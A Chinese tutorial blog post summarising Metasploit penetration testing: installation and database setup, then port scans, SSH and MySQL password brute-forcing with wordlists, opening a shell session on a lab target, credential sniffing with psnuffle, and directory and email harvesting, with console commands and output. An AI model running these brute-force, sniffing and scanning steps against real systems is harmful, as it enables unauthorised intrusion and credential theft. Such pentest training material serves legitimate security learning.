MetaSploit安全渗透测试全面总结

MetaSploit简介

Metasploit是一款开源安全漏洞检测工具,附带数百个已知的软件漏洞,并保持频繁更新。被安全社区冠以“可以黑掉整个宇宙”之名的强大渗透测试框架。

这种可以扩展的模型将负载控制(payload)、编码器(encode)、无操作生成器(nops)和漏洞整合在一起,使 Metasploit Framework 成为一种研究高危漏洞的途径。它集成了各平台上常见的溢出漏洞和流行的 shellcode ,并且不断更新。

Metasploit 渗透测试框架(MSF3.4)包含3功能模块:msfconsole、msfweb、msfupdate。msfupdate用于软件更新,建议使用前先进行更新,可以更新最新的漏洞库和利用代码。msfconsole 是整个框架中最受欢迎的模块,个人感觉也是功能强大的模块,所有的功能都可以该模块下运行。msfweb 是Metasploit framework的web组件支持多用户,是Metasploit图形化接口。

专业术语

1. Exploit_渗透攻击

攻击者利用一个安全漏洞所进行的攻击行为。流行的渗透攻击技术包括缓冲区溢出、Web应用程序漏洞攻击(如SQL注入),及利用配置错误等。

2. Payload_攻击载荷

是我们期望目标系统在被渗透攻击之后去执行的代码

3. shellcode

在渗透攻击时作为攻击载荷运行的一组机器命令。shellcode通常以汇编语言编写。

4. Module_模块

一个模块是指Metasploit框架中所使用的一段软件代码组件。 比如说:渗透攻击模块(exploit module),辅助模块(auxiliary module)

5. Listener_监听器

等待被渗透主机连入网络的连接的组件

Centos7安装metasploit

参考链接:CSDN:Hua TonyCentos7.7安装metasploit

官网下载最新rpm包

wget https://rpm.metasploit.com/metasploit-omnibus/pkg/metasploit-framework-6.0.5%2B20200908102445~1rapid7-1.el6.x86_64.rpm

在这里插入图片描述

安装

yum install metasploit-framework-6.0.5+20200908102445~1rapid7-1.el6.x86_64.rpm

配置postgres数据库

参考链接:博客园:低调的拉风centos 7 下metasploit安装以及配置数据库

首先使用docker安装postgres数据库。

docker run -d --name postgresql9.6 -e ALLOW_IP_RANGE=0.0.0.0/0 -e POSTGRES_USER=postgres -e POSTGRES_PASSWORD=postgres -v /var/minio/postgresql/data:/var/lib/postgresql/data -p 5432:5432 kartoza/postgis:9.6-2.4

创建用户和数据库并授权

create user msf with password 'postgres' nocreatedb;
create database msf1 with owner ='msf';

创建metasploit数据配置信息

vim /opt/metasploit-framework/database.yml

写入以下内容:

production:
 adapter: postgresql
 database: msf1
 username: msf
 password: postgres
 host: 127.0.0.1
 port: 5432
 pool: 75
 timeout: 5

使配置生效

echo export MSF_DATABASE_CONFIG=/opt/metasploit-framework/database.yml >> /etc/bashrc
source ~/.bashrc

启动控制台

进入到metasploit安装目录:/opt/metasploit-framework/bin启动控制台msfconsole

img

MetaSploit教程(渗透测试框架)

参考链接:付杰博客:Metasploit 教程(渗透测试框架)

MetaSploit进行端口扫描

参考链接:博客园:西戎使用Metasploit进行端口扫描

C0choMetasploit分类

CSDN:TravisZengmetasploit

WEL测试安全渗透测试学习笔记

查看Metasploit框架提供的端口扫描工具:

msf > search portscan
 
Matching Modules
================
 
   Name                                              Disclosure Date  Rank    Description
   ----                                              ---------------  ----    -----------
   auxiliary/scanner/http/wordpress_pingback_access                   normal  Wordpress Pingback Locator
   auxiliary/scanner/natpmp/natpmp_portscan                           normal  NAT-PMP External Port Scanner
   auxiliary/scanner/portscan/ack                                     normal  TCP ACK Firewall Scanner
   auxiliary/scanner/portscan/ftpbounce                               normal  FTP Bounce Port Scanner
   auxiliary/scanner/portscan/syn                                     normal  TCP SYN Port Scanner
   auxiliary/scanner/portscan/tcp                                     normal  TCP Port Scanner
   auxiliary/scanner/portscan/xmas                                    normal  TCP "XMas" Port Scanner

使用Metasploit的SYN端口扫描器对单个主机进行一次简单的扫描:

msf > use scanner/portscan/syn

设定RHOST参数为192.168.119.132,线程数为50

RHOSTS => 192.168.119.132
msf  auxiliary(syn) > set THREADS 50
THREADS => 50
msf  auxiliary(syn) > run
 
[*]  TCP OPEN 192.168.119.132:80
[*]  TCP OPEN 192.168.119.132:135
[*]  TCP OPEN 192.168.119.132:139
[*]  TCP OPEN 192.168.119.132:1433
[*]  TCP OPEN 192.168.119.132:2383
[*]  TCP OPEN 192.168.119.132:3306
[*]  TCP OPEN 192.168.119.132:3389
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

MetaSploit进行SSH服务扫描

参考链接:CSDN:WEL测试:使用Kali上的Metasploit获取ssh登录到靶机权限

ssh服务常用端口为22:

msf6 auxiliary(scanner/telnet/telnet_version) > use auxiliary/scanner/ssh/ssh_version 
msf6 auxiliary(scanner/ssh/ssh_version) > show options

Module options (auxiliary/scanner/ssh/ssh_version):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    22               yes       The target port (TCP)
   THREADS  1                yes       The number of concurrent threads (max one per host)
   TIMEOUT  30               yes       Timeout for the SSH probe

msf6 auxiliary(scanner/ssh/ssh_version) > set RHOSTS 192.1.0.1
RHOSTS => 192.168.0.50
msf6 auxiliary(scanner/ssh/ssh_version) > set THREADS 50
THREADS => 50
msf6 auxiliary(scanner/ssh/ssh_version) > run

[+] 192.168.0.50:22       - SSH server version: SSH-2.0-OpenSSH_7.4 ( service.version=7.4 service.vendor=OpenBSD service.family=OpenSSH service.product=OpenSSH service.cpe23=cpe:/a:openbsd:openssh:7.4 service.protocol=ssh fingerprint_db=ssh.banner )
[*] 192.168.0.50:22       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_version) > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set THREADS 50
THREADS => 50
msf6 auxiliary(scanner/ssh/ssh_login) > set USERNAME root
USERNAME => root
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/big.txt
PASS_FILE => /root/big.txt
msf6 auxiliary(scanner/ssh/ssh_login) > run
[-] Auxiliary failed: Msf::OptionValidateError One or more options failed to validate: PASS_FILE, RHOSTS.
msf6 auxiliary(scanner/ssh/ssh_login) > 

img

再可以利用ssh_login模块进行SSH服务口令破解

img

img

通过暴力破解知道密码为ubuntu

img

退出攻击,CTRL+C,查看会话列表:sessions -l

img

进入指定会话:sessions -i 1,进入到会话1,执行shell命令如下截图:

img

img

上述操作时通过,ssh_login模块获取到靶机的ssh会话信息,通过会话可以操作靶机上的信息,删除创建文件等。

MetaSploit进行FTP服务扫描

使用MSF生成木马实现远程控制服务器

利用Metasploit获取mysql弱口令

参考链接:CSDN:WEL测试:使用Kali上的Metasploit进行获取mysql登录密码信息

查询mysql服务相关模块信息:

search mysql

选择mysql_login模块:

use  auxiliary/scanner/mysql/mysql_login

img

查看mysql_login配置选项信息:

show options

img

设置RHOSTS参数为靶机IP:

set RHOSTS 192.168.88.137

img

设置用户名字典,使用系统字典,也可以指定自己创建的用户字典:

set USER_FILE /usr/share/metasploit-framework/data/wordlists/mirai_user.txt

img

设置密码字典,使用系统字典,也可以指定自己创建的密码字典:

set PASS_FILE /usr/share/metasploit-framework/data/wordlists/mirai_pass.txt

img

执行攻击:

exploit

img

img

获取用户名为root,用户为root,与初始设置的mysql值一致,至此成功获取mysql的root用户的登录权限。

Telnet服务扫描

telnet服务的常用端口是23:

msf > use auxiliary/scanner/telnet/telnet_version

msf auxiliary(telnet_version) > show options

msf auxiliary(telnet_version) > set RHOSTS 10.10.10.254
RHOSTS => 10.10.10.254
msf auxiliary(telnet_version) > set THREADS 50
THREADS => 50
msf auxiliary(telnet_version) > run

img

pnsuffle口令嗅探

可以截获常见协议的身份认证过程,并将用户名和口令信息记录下来。

msf6 auxiliary(scanner/ssh/ssh_login) > use auxiliary/sniffer/psnuffle 
msf6 auxiliary(sniffer/psnuffle) > show options

Module options (auxiliary/sniffer/psnuffle):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   FILTER                      no        The filter string for capturing traffic
   INTERFACE                   no        The name of the interface
   PCAPFILE                    no        The name of the PCAP capture file to process
   PROTOCOLS  all              yes       A comma-delimited list of protocols to sniff or "all".
   SNAPLEN    65535            yes       The number of bytes to capture
   TIMEOUT    500              yes       The number of seconds to wait for new data


Auxiliary action:

   Name     Description
   ----     -----------
   Sniffer  Run sniffer


msf6 auxiliary(sniffer/psnuffle) > run
[*] Auxiliary module running as background job 0.
msf6 auxiliary(sniffer/psnuffle) > 
[*] Loaded protocol FTP from /opt/metasploit-framework/embedded/framework/data/exploits/psnuffle/ftp.rb...
[*] Loaded protocol IMAP from /opt/metasploit-framework/embedded/framework/data/exploits/psnuffle/imap.rb..

img

img

可以看到,嗅探到FTP服务10.10.10.129链接到10.10.10.254的用户名和密码

代理服务器探测

当如果靶机开启了代理服务器来隐藏自己身份的时候,我们使用auxiliary/scanner/http/open_proxy,可以探测到代理服务器的使用

网站目录扫描

借助metasploit中的brute_dir,dir_listing,dir_scanner等辅助模块来完成,主要使用暴力破解的方式工作。

img

可以看到,在这个testfire.net中存在有几个隐藏目录(返回代码403:没有权限访问)

搜集特定地址的邮件地址

search_email_collector
要求提供一个邮箱后缀,通过多个搜索引擎的查询结果分析使用此后缀的邮箱地址,可以很方便的获得大量邮件地址。

img

主机探测和端口扫描

  • 使用metasploit中的modules/auxiliary/scanner/discovery中的arp_sweep或者udp_sweep

arp_sweep使用ARP请求美剧本地局域网中的所有活跃主机

udp_sweep通过发送UDP数据包探查制定主机是否活跃,并发现主机上的UDP服务

img

  • 使用nmap工具来探测

默认参数下,nmap使用发送ICMP请求来探测存活主机(即-sP选项)

img

如果是在INTERNET环境中,则应该使用-Pn选项,不要使用ICMP ping扫描,因为ICMP数据包通常无法穿透Internet上的网络边界;还可以使用-PU通过对开放的UDP端口进行探测以确定存活的主机。

可以使用-O选项辨识目标主机的操作系统;再加以-sV选项辨识操作系统中运行的服务的类型信息

img

端口扫描与服务类型探测

利用nmap或者metasploit中的auxiliary/scanner/portscan中的扫描器进行端口扫描

img

ack:通过ACK扫描的方式对防火墙上未被屏蔽的端口进行探测;

ftpbounce:通过FTP BOUNCE攻击的原理对TCP服务进行枚举

syn:使用发送TCP SYN标志的方式探测开放的端口

tcp:通过一次完整的TCP链接来判断端口是否开放

xmas:一种更为隐蔽的扫描方式,通过发送FIN,PSH,URG标志能够躲避一些TCP标记检测器的过滤

img

常用nmap扫描类型参数:

-sT:TCP connect扫描

-sS:TCP syn扫描

-sF/-sX/-sN:通过发送一些标志位以避开设备或软件的检测

-sP:ICMP扫描

-sU:探测目标主机开放了哪些UDP端口

-sA:TCP ACk扫描

扫描选项:

-Pn:在扫描之前,不发送ICMP echo请求测试目标是否活跃

-O:辨识操作系统等信息

-F:快速扫描模式

-p<端口范围>:指定端口扫描范围

img

img

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值